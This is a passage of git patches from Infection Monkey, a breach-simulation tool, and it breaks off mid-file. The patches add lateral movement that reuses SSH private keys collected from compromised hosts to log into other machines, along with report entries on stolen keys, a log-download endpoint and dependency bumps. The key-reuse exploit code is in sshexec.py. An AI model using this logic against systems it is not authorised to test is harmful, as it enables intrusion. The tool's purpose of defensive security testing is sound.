Public key is useless without private key if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key']) + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 1188c7d1e..46773c0fb 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -897,9 +897,17 @@ class ConfigService: ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) @staticmethod - def ssh_add_keys(public_key, private_key): - ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', - {"public_key": public_key, "private_key": private_key}) + def ssh_add_keys(public_key, private_key, user, ip): + if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal'], False, False) + ['exploits']['exploit_ssh_keys'], + user, ip): + ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', + {"public_key": public_key, "private_key": private_key, + "user": user, "ip": ip}) + + @staticmethod + def ssh_key_exists(keys, user, ip): + return [key for key in keys if key['user'] == user and key['ip'] == ip] @staticmethod def update_config(config_json, should_encrypt): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f77e96dd9..0ceadc26b 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -149,6 +149,27 @@ class ReportService: ) return creds + @staticmethod + def get_ssh_keys(): + """ + Return private ssh keys found as credentials + :return: List of credentials + """ + creds = [] + for telem in mongo.db.telemetry.find( + {'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, + {'data.ssh_info': 1, 'monkey_guid': 1} + ): + origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] + if telem['data']['ssh_info']: + # Pick out all ssh keys not yet included in creds + ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key', + 'origin': origin} for key_pair in telem['data']['ssh_info'] + if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key', + 'origin': origin} not in creds] + creds.extend(ssh_keys) + return creds + @staticmethod def get_azure_creds(): """ @@ -433,6 +454,7 @@ class ReportService: 'exploited': ReportService.get_exploited(), 'stolen_creds': ReportService.get_stolen_creds(), 'azure_passwords': ReportService.get_azure_creds(), + 'ssh_keys': ReportService.get_ssh_keys() }, 'recommendations': { diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index bec4f3625..393b1cc74 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -414,7 +414,7 @@ class ReportPageComponent extends AuthComponent {
- +
); From 30a3bbf9a0462a58f357ba4c1b836410e2ad7460 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 29 May 2018 01:02:49 +0300 Subject: [PATCH 10/19] Exploitation of machines using ssh keys added. Also, added shh keys exploitation to report --- infection_monkey/config.py | 6 +++ infection_monkey/example.conf | 1 + infection_monkey/exploit/__init__.py | 4 +- infection_monkey/exploit/sshexec.py | 32 +++++++++++++++- monkey_island/cc/resources/telemetry.py | 38 ++++++++++--------- monkey_island/cc/services/report.py | 19 ++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 24 +++++++++++- 7 files changed, 98 insertions(+), 26 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 1f5fce4b1..c5421fb83 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -233,6 +233,12 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_password_list) + def get_exploit_user_ssh_key_pairs(self): + """ + :return: All combinations of the configurations users and ssh pairs + """ + return product(self.exploit_user_list, self.exploit_ssh_keys) + def get_exploit_user_password_or_hash_product(self): """ Returns all combinations of the configurations users and passwords or lm/ntlm hashes diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..51a108e5d 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -67,6 +67,7 @@ "exploit_password_list": [], "exploit_lm_hash_list": [], "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [], "sambacry_trigger_timeout": 5, "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_shares_not_to_check": ["IPC$", "print$"], diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index 379d2bd92..a05f5b079 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -24,9 +24,9 @@ class HostExploiter(object): {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, 'info': self._exploit_info, 'attempts': self._exploit_attempts}) - def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''): + def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): self._exploit_attempts.append({'result': result, 'user': user, 'password': password, - 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) + 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) @abstractmethod def exploit_host(self): diff --git a/infection_monkey/exploit/sshexec.py b/infection_monkey/exploit/sshexec.py index b93970ca9..2209a0685 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/infection_monkey/exploit/sshexec.py @@ -2,6 +2,7 @@ import logging import time import paramiko +import StringIO import monkeyfs from exploit import HostExploiter @@ -46,9 +47,38 @@ class SSHExploiter(HostExploiter): LOG.info("SSH port is closed on %r, skipping", self.host) return False - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() exploited = False + + for user, ssh_key_pair in user_ssh_key_pairs: + # Creating file-like private key for paramiko + pkey = StringIO.StringIO(ssh_key_pair['private_key']) + ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) + try: + pkey = paramiko.RSAKey.from_private_key(pkey) + except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException): + LOG.error("Failed reading ssh key") + try: + ssh.connect(self.host.ip_addr, + username=user, + pkey=pkey, + port=port, + timeout=None) + LOG.debug("Successfully logged in %s using %s users private key", + self.host, ssh_string) + self.report_login_attempt(True, user, ssh_key=ssh_string) + exploited = True + break + except Exception as exc: + LOG.debug("Error logging into victim %r with %s" + " private key", self.host, + ssh_string) + self.report_login_attempt(False, user, ssh_key=ssh_string) + continue + + user_password_pairs = self._config.get_exploit_user_password_pairs() + for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index ec05558d8..540802ca1 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -130,7 +130,7 @@ class Telemetry(flask_restful.Resource): for attempt in telemetry_json['data']['attempts']: if attempt['result']: found_creds = {'user': attempt['user']} - for field in ['password', 'lm_hash', 'ntlm_hash']: + for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: if len(attempt[field]) != 0: found_creds[field] = attempt[field] NodeService.add_credentials_to_node(edge['to'], found_creds) @@ -169,10 +169,10 @@ class Telemetry(flask_restful.Resource): def process_system_info_telemetry(telemetry_json): if 'ssh_info' in telemetry_json['data']: ssh_info = telemetry_json['data']['ssh_info'] - Telemetry.encrypt_system_info_creds({}, ssh_info) + Telemetry.encrypt_system_info_ssh_keys(ssh_info) if telemetry_json['data']['network_info']['networks']: Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) - Telemetry.add_system_info_creds_to_config({}, ssh_info) + Telemetry.add_system_info_ssh_keys_to_config(ssh_info) if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] Telemetry.encrypt_system_info_creds(creds) @@ -197,20 +197,22 @@ class Telemetry(flask_restful.Resource): creds[new_user] = creds.pop(user) @staticmethod - def encrypt_system_info_creds(creds, ssh_info=None): + def encrypt_system_info_creds(creds): for user in creds: for field in ['password', 'lm_hash', 'ntlm_hash']: if field in creds[user]: # this encoding is because we might run into passwords which are not pure ASCII creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) - if ssh_info: - for idx, user in enumerate(ssh_info): - for field in ['public_key', 'private_key', 'known_hosts']: - if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) @staticmethod - def add_system_info_creds_to_config(creds, ssh_info=None): + def encrypt_system_info_ssh_keys(ssh_info): + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) + + @staticmethod + def add_system_info_creds_to_config(creds): for user in creds: ConfigService.creds_add_username(user) if 'password' in creds[user]: @@ -219,15 +221,15 @@ class Telemetry(flask_restful.Resource): ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) if 'ntlm_hash' in creds[user]: ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) - if ssh_info: - for user in ssh_info: - ConfigService.creds_add_username(user['name']) - # Public key is useless without private key - if user['public_key'] and user['private_key']: - ConfigService.ssh_add_keys(user['public_key'], user['private_key'], - user['name'], user['ip']) - + @staticmethod + def add_system_info_ssh_keys_to_config(ssh_info): + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) @staticmethod def encrypt_exploit_creds(telemetry_json): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 0ceadc26b..15b11e877 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -34,6 +34,7 @@ class ReportService: SHELLSHOCK = 4 CONFICKER = 5 AZURE = 6 + STOLEN_SSH_KEYS = 7 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -203,9 +204,12 @@ class ReportService: for attempt in exploit['data']['attempts']: if attempt['result']: processed_exploit['username'] = attempt['user'] - if len(attempt['password']) > 0: + if attempt['password']: processed_exploit['type'] = 'password' processed_exploit['password'] = attempt['password'] + elif attempt['ssh_key']: + processed_exploit['type'] = 'ssh_key' + processed_exploit['ssh_key'] = attempt['ssh_key'] else: processed_exploit['type'] = 'hash' return processed_exploit @@ -231,8 +235,12 @@ class ReportService: @staticmethod def process_ssh_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'ssh' - return processed_exploit + # Check if it's ssh key or ssh login credentials exploit + if processed_exploit['type'] == 'ssh_key': + return processed_exploit + else: + processed_exploit['type'] = 'ssh' + return processed_exploit @staticmethod def process_rdp_exploit(exploit): @@ -332,7 +340,8 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() issues_dict = {} for issue in issues: machine = issue['machine'] @@ -392,6 +401,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True elif issue['type'] == 'azure_password': issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True + elif issue['type'] == 'ssh_key': + issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users: issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 393b1cc74..f8959a252 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -22,7 +22,8 @@ class ReportPageComponent extends AuthComponent { SAMBACRY: 3, SHELLSHOCK: 4, CONFICKER: 5, - AZURE: 6 + AZURE: 6, + STOLEN_SSH_KEYS: 7 }; Warning = @@ -293,6 +294,8 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length} threats:
    + {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? +
  • Stolen SSH keys are used to exploit other machines.
  • : null } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
  • Stolen credentials are used to exploit other machines.
  • : null} {this.state.report.overview.issues[this.Issue.ELASTIC] ? @@ -524,6 +527,22 @@ class ReportPageComponent extends AuthComponent { ); } + generateSshKeysIssue(issue) { + return ( +
  • + Protect {issue.ssh_key} private key with a pass phrase. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a SSH attack. +
    + The Monkey authenticated over the SSH protocol with private key {issue.ssh_key}. +
    +
  • + ); + } + generateRdpIssue(issue) { return (
  • @@ -672,6 +691,9 @@ class ReportPageComponent extends AuthComponent { case 'ssh': data = this.generateSshIssue(issue); break; + case 'ssh_key': + data = this.generateSshKeysIssue(issue); + break; case 'rdp': data = this.generateRdpIssue(issue); break; From 6aeaf0f8571f0951fab67d339d0c7dad62682dd6 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 30 May 2018 18:30:56 +0300 Subject: [PATCH 11/19] Integrated an option to download the monkey island log files from the Log page in the web app. --- monkey_island/cc/app.py | 2 + monkey_island/cc/environment/environment.py | 6 +- monkey_island/cc/island_logger.py | 3 + .../cc/island_logger_default_config.json | 2 +- monkey_island/cc/resources/island_logs.py | 19 + monkey_island/cc/resources/telemetry.py | 9 +- monkey_island/cc/services/island_logs.py | 32 + monkey_island/cc/ui/package-lock.json | 1084 +++++++++++------ .../ui/src/components/pages/TelemetryPage.js | 55 +- 9 files changed, 802 insertions(+), 410 deletions(-) create mode 100644 monkey_island/cc/resources/island_logs.py create mode 100644 monkey_island/cc/services/island_logs.py diff --git a/monkey_island/cc/app.py b/monkey_island/cc/app.py index 34d14ae86..6b9ac1154 100644 --- a/monkey_island/cc/app.py +++ b/monkey_island/cc/app.py @@ -14,6 +14,7 @@ from cc.resources.client_run import ClientRun from cc.resources.edge import Edge from cc.resources.local_run import LocalRun from cc.resources.log import Log +from cc.resources.island_logs import IslandLog from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration from cc.resources.monkey_download import MonkeyDownload @@ -104,5 +105,6 @@ def init_app(mongo_url): api.add_resource(Report, '/api/report', '/api/report/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') + api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') return app diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index 8eb97a999..11b868070 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -1,7 +1,11 @@ import json +import logging import standard import aws +logger = logging.getLogger(__name__) + + ENV_DICT = { 'standard': standard.StandardEnvironment, 'aws': aws.AwsEnvironment @@ -19,5 +23,5 @@ try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() except Exception: - print('Failed initializing environment: %s' % __env_type) + logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/island_logger.py b/monkey_island/cc/island_logger.py index 655a6b998..8fbef1e0e 100644 --- a/monkey_island/cc/island_logger.py +++ b/monkey_island/cc/island_logger.py @@ -3,6 +3,9 @@ import json import logging.config +__author__ = 'Maor.Rayzin' + + def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): """ Setup the logging configuration diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json index 020902dc8..0435222f6 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey_island/cc/island_logger_default_config.json @@ -38,6 +38,6 @@ "root": { "level": "INFO", - "handlers": ["console", "info_file_handler", "error_file_handler"] + "handlers": ["console", "info_file_handler"] } } \ No newline at end of file diff --git a/monkey_island/cc/resources/island_logs.py b/monkey_island/cc/resources/island_logs.py new file mode 100644 index 000000000..1ca1a8cdf --- /dev/null +++ b/monkey_island/cc/resources/island_logs.py @@ -0,0 +1,19 @@ +import flask_restful +import logging + +from cc.auth import jwt_required +from cc.services.island_logs import IslandLogService + +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLog(flask_restful.Resource): + @jwt_required() + def get(self): + try: + return IslandLogService.get_log_file() + except Exception as e: + logger.error('Monkey Island logs failed to download', exc_info=True) + diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index cb18ff845..9785d213f 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -1,4 +1,5 @@ import json +import logging import traceback import copy from datetime import datetime @@ -17,6 +18,9 @@ from cc.encryptor import encryptor __author__ = 'Barak' +logger = logging.getLogger(__name__) + + class Telemetry(flask_restful.Resource): @jwt_required() def get(self, **kw): @@ -52,10 +56,9 @@ class Telemetry(flask_restful.Resource): if telem_type in TELEM_PROCESS_DICT: TELEM_PROCESS_DICT[telem_type](telemetry_json) else: - print('Got unknown type of telemetry: %s' % telem_type) + logger.info('Got unknown type of telemetry: %s' % telem_type) except Exception as ex: - print("Exception caught while processing telemetry: %s" % str(ex)) - traceback.print_exc() + logger.error("Exception caught while processing telemetry", exc_info=True) telem_id = mongo.db.telemetry.insert(telemetry_json) return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) diff --git a/monkey_island/cc/services/island_logs.py b/monkey_island/cc/services/island_logs.py new file mode 100644 index 000000000..77b28bdd4 --- /dev/null +++ b/monkey_island/cc/services/island_logs.py @@ -0,0 +1,32 @@ +import logging +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLogService: + def __init__(self): + pass + + @staticmethod + def get_log_file(): + """ + This static function is a helper function for the monkey island log download function. + It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler + has the property handler.baseFilename. + :return: + a dict with the log file content. + """ + logger_handlers = logger.parent.handlers + for handler in logger_handlers: + if hasattr(handler, 'baseFilename'): + logger.info('Log file found: {0}'.format(handler.baseFilename)) + log_file_path = handler.baseFilename + with open(log_file_path, 'rt') as f: + log_file = f.read() + return { + 'log_file': log_file + } + + logger.warning('No log file could be found, check logger config.') + return None diff --git a/monkey_island/cc/ui/package-lock.json b/monkey_island/cc/ui/package-lock.json index 57cdfdc01..e0f519cbc 100644 --- a/monkey_island/cc/ui/package-lock.json +++ b/monkey_island/cc/ui/package-lock.json @@ -347,7 +347,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -442,7 +442,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -1170,7 +1170,7 @@ "dev": true, "requires": { "babel-runtime": "6.26.0", - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.10.5" }, "dependencies": { @@ -1180,7 +1180,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" }, "dependencies": { @@ -1304,7 +1304,7 @@ "requires": { "babel-core": "6.26.0", "babel-runtime": "6.26.0", - "core-js": "2.5.5", + "core-js": "2.5.6", "home-or-tmp": "2.0.0", "lodash": "4.17.4", "mkdirp": "0.5.1", @@ -1317,7 +1317,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.11.0" } }, @@ -1334,7 +1334,7 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "2.5.5", + "core-js": "2.5.6", "regenerator-runtime": "0.10.5" } }, @@ -2105,9 +2105,9 @@ } }, "core-js": { - "version": "2.5.5", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.5.tgz", - "integrity": "sha1-sU3ek2xkDAV5prUMq8wTLdYSfjs=" + "version": "2.5.6", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.6.tgz", + "integrity": "sha512-lQUVfQi0aLix2xpyjrrJEvfuYCqPc/HwmTKsC/VNf8q0zsjX7SQZtp4+oRONN5Tsur9GDETPjj+Ub2iDiGZfSQ==" }, "core-util-is": { "version": "1.0.2", @@ -5262,7 +5262,7 @@ "colors": "1.1.2", "combine-lists": "1.0.1", "connect": "3.6.3", - "core-js": "2.5.5", + "core-js": "2.5.6", "di": "0.0.1", "dom-serialize": "2.2.1", "expand-braces": "0.1.2", @@ -6201,9 +6201,9 @@ "integrity": "sha1-IdZsxVcVTUN5/R4HnsfeWKN5sJk=" }, "npm": { - "version": "5.8.0", - "resolved": "https://registry.npmjs.org/npm/-/npm-5.8.0.tgz", - "integrity": "sha512-DowXzQwtSWDtbAjuWecuEiismR0VdNEYaL3VxNTYTdW6AGkYxfGk9LUZ/rt6etEyiH4IEk95HkJeGfXE5Rz9xQ==", + "version": "5.10.0", + "resolved": "https://registry.npmjs.org/npm/-/npm-5.10.0.tgz", + "integrity": "sha512-lvjvjgR5wG2RJ2uqak1xtZcVAWMwVOzN5HkUlUj/n8rU1f3A0fNn+7HwOzH9Lyf0Ppyu9ApgsEpHczOSnx1cwA==", "requires": { "JSONStream": "1.3.2", "abbrev": "1.1.1", @@ -6214,9 +6214,11 @@ "archy": "1.0.0", "bin-links": "1.1.0", "bluebird": "3.5.1", + "byte-size": "4.0.2", "cacache": "10.0.4", "call-limit": "1.1.0", "chownr": "1.0.1", + "cli-columns": "3.1.2", "cli-table2": "0.2.0", "cmd-shim": "2.0.2", "columnify": "1.5.4", @@ -6241,11 +6243,12 @@ "ini": "1.3.5", "init-package-json": "1.10.3", "is-cidr": "1.0.0", - "json-parse-better-errors": "1.0.1", + "json-parse-better-errors": "1.0.2", "lazy-property": "1.0.0", - "libcipm": "1.6.0", - "libnpx": "10.0.1", - "lockfile": "1.0.3", + "libcipm": "1.6.2", + "libnpx": "10.2.0", + "lock-verify": "2.0.2", + "lockfile": "1.0.4", "lodash._baseindexof": "3.1.0", "lodash._baseuniq": "4.6.0", "lodash._bindcallback": "3.0.1", @@ -6257,20 +6260,23 @@ "lodash.union": "4.6.0", "lodash.uniq": "4.5.0", "lodash.without": "4.4.0", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "meant": "1.0.1", "mississippi": "3.0.0", "mkdirp": "0.5.1", "move-concurrently": "1.0.1", + "node-gyp": "3.6.2", "nopt": "4.0.1", "normalize-package-data": "2.4.0", + "npm-audit-report": "1.0.9", "npm-cache-filename": "1.0.2", "npm-install-checks": "3.0.0", "npm-lifecycle": "2.0.1", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "npm-packlist": "1.1.10", "npm-profile": "3.0.1", "npm-registry-client": "8.5.1", + "npm-registry-fetch": "1.1.0", "npm-user-validate": "1.0.0", "npmlog": "4.1.2", "once": "1.4.0", @@ -6279,39 +6285,40 @@ "pacote": "7.6.1", "path-is-inside": "1.0.2", "promise-inflight": "1.0.1", - "qrcode-terminal": "0.11.0", - "query-string": "5.1.0", + "qrcode-terminal": "0.12.0", + "query-string": "6.1.0", "qw": "1.0.1", "read": "1.0.7", "read-cmd-shim": "1.0.1", "read-installed": "4.0.3", "read-package-json": "2.0.13", - "read-package-tree": "5.1.6", - "readable-stream": "2.3.5", + "read-package-tree": "5.2.1", + "readable-stream": "2.3.6", "readdir-scoped-modules": "1.0.2", - "request": "2.83.0", - "retry": "0.10.1", + "request": "2.85.0", + "retry": "0.12.0", "rimraf": "2.6.2", - "safe-buffer": "5.1.1", + "safe-buffer": "5.1.2", "semver": "5.5.0", "sha": "2.0.1", "slide": "1.1.6", "sorted-object": "2.0.1", "sorted-union-stream": "2.1.3", - "ssri": "5.2.4", + "ssri": "5.3.0", "strip-ansi": "4.0.0", - "tar": "4.4.0", + "tar": "4.4.2", "text-table": "0.2.0", + "tiny-relative-date": "1.3.0", "uid-number": "0.0.6", "umask": "1.1.0", "unique-filename": "1.1.0", "unpipe": "1.0.0", - "update-notifier": "2.3.0", + "update-notifier": "2.5.0", "uuid": "3.2.1", - "validate-npm-package-license": "3.0.1", + "validate-npm-package-license": "3.0.3", "validate-npm-package-name": "3.0.0", "which": "1.3.0", - "worker-farm": "1.5.4", + "worker-farm": "1.6.0", "wrappy": "1.0.2", "write-file-atomic": "2.3.0" }, @@ -6374,6 +6381,10 @@ "version": "3.5.1", "bundled": true }, + "byte-size": { + "version": "4.0.2", + "bundled": true + }, "cacache": { "version": "10.0.4", "bundled": true, @@ -6382,13 +6393,13 @@ "chownr": "1.0.1", "glob": "7.1.2", "graceful-fs": "4.1.11", - "lru-cache": "4.1.1", + "lru-cache": "4.1.2", "mississippi": "2.0.0", "mkdirp": "0.5.1", "move-concurrently": "1.0.1", "promise-inflight": "1.0.1", "rimraf": "2.6.2", - "ssri": "5.2.4", + "ssri": "5.3.0", "unique-filename": "1.1.0", "y18n": "4.0.0" }, @@ -6414,7 +6425,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "typedarray": "0.0.6" }, "dependencies": { @@ -6430,7 +6441,7 @@ "requires": { "end-of-stream": "1.4.1", "inherits": "2.0.3", - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "stream-shift": "1.0.0" }, "dependencies": { @@ -6452,7 +6463,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "from2": { @@ -6460,7 +6471,7 @@ "bundled": true, "requires": { "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "parallel-transform": { @@ -6469,7 +6480,7 @@ "requires": { "cyclist": "0.2.2", "inherits": "2.0.3", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" }, "dependencies": { "cyclist": { @@ -6513,7 +6524,7 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.5", + "readable-stream": "2.3.6", "xtend": "4.0.1" }, "dependencies": { @@ -6539,6 +6550,50 @@ "version": "1.0.1", "bundled": true }, + "cli-columns": { + "version": "3.1.2", + "bundled": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + }, + "strip-ansi": { + "version": "4.0.0", + "bundled": true, + "requires": { + "ansi-regex": "3.0.0" + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, "cli-table2": { "version": "0.2.0", "bundled": true, @@ -6717,7 +6772,7 @@ "graceful-fs": "4.1.11", "iferr": "0.1.5", "imurmurhash": "0.1.4", - "readable-stream": "2.3.5" + "readable-stream": "2.3.6" } }, "gentle-fs": { @@ -6824,12 +6879,12 @@ "bundled": true, "requires": { "glob": "7.1.2", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "promzard": "0.3.0", "read": "1.0.7", "read-package-json": "2.0.13", "semver": "5.5.0", - "validate-npm-package-license": "3.0.1", + "validate-npm-package-license": "3.0.3", "validate-npm-package-name": "3.0.0" }, "dependencies": { @@ -6856,7 +6911,7 @@ } }, "json-parse-better-errors": { - "version": "1.0.1", + "version": "1.0.2", "bundled": true }, "lazy-property": { @@ -6864,26 +6919,26 @@ "bundled": true }, "libcipm": { - "version": "1.6.0", + "version": "1.6.2", "bundled": true, "requires": { "bin-links": "1.1.0", "bluebird": "3.5.1", "find-npm-prefix": "1.0.2", "graceful-fs": "4.1.11", - "lock-verify": "2.0.0", + "lock-verify": "2.0.1", "npm-lifecycle": "2.0.1", "npm-logical-tree": "1.2.1", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "pacote": "7.6.1", "protoduck": "5.0.0", "read-package-json": "2.0.13", "rimraf": "2.6.2", - "worker-farm": "1.5.4" + "worker-farm": "1.6.0" }, "dependencies": { "lock-verify": { - "version": "2.0.0", + "version": "2.0.1", "bundled": true, "requires": { "npm-package-arg": "5.1.2", @@ -6918,45 +6973,18 @@ "bundled": true } } - }, - "worker-farm": { - "version": "1.5.4", - "bundled": true, - "requires": { - "errno": "0.1.7", - "xtend": "4.0.1" - }, - "dependencies": { - "errno": { - "version": "0.1.7", - "bundled": true, - "requires": { - "prr": "1.0.1" - }, - "dependencies": { - "prr": { - "version": "1.0.1", - "bundled": true - } - } - }, - "xtend": { - "version": "4.0.1", - "bundled": true - } - } } } }, "libnpx": { - "version": "10.0.1", + "version": "10.2.0", "bundled": true, "requires": { "dotenv": "5.0.1", - "npm-package-arg": "6.0.0", + "npm-package-arg": "6.1.0", "rimraf": "2.6.2", - "safe-buffer": "5.1.1", - "update-notifier": "2.3.0", + "safe-buffer": "5.1.2", + "update-notifier": "2.5.0", "which": "1.3.0", "y18n": "4.0.0", "yargs": "11.0.0" @@ -6974,7 +7002,7 @@ "version": "11.0.0", "bundled": true, "requires": { - "cliui": 